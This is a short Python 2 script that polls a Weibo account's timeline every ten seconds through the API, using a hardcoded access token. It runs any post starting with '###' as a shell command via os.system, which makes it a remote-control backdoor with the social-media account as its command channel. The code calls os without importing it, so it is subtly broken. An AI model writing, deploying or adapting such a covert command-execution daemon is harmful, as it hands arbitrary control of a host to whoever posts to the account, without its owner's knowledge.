#coding=UTF-8

import urllib
import json
import threading  
import time  

class KurskDaemon(threading.Thread):
    def __init__(self, token):
        threading.Thread.__init__(self)
        self._stop = False;
        self._token = token;
        
    def queryLines(self):
        urlTpl = 'https://api.weibo.com/2/statuses/user_timeline.json?access_token=%s&count=%d'
        theUrl = urlTpl%(self._token, 1)
        out = urllib.urlopen(theUrl).readline()
        jsonObj = json.loads(out)
        print('#oneWeibo:' + out)
        return jsonObj;
        #print(jsonObj['statuses'][0]['text'])
    
    def dispatch(self, jsonObj):
        txt = jsonObj['statuses'][0]['text']
        
        if txt[0:3] == '###':
            if txt[3:] == 'end':
                self._stop = True
            else:    
                os.system(txt[3:])
            
        return
        
    def run(self):
        while not self._stop:
            time.sleep(10)
            self.dispatch(self.queryLines())
        
        return    

#Have a test
d = KurskDaemon('2.00FnrctB0tVJN1c2f2ff077fgCvKbB')
d.start()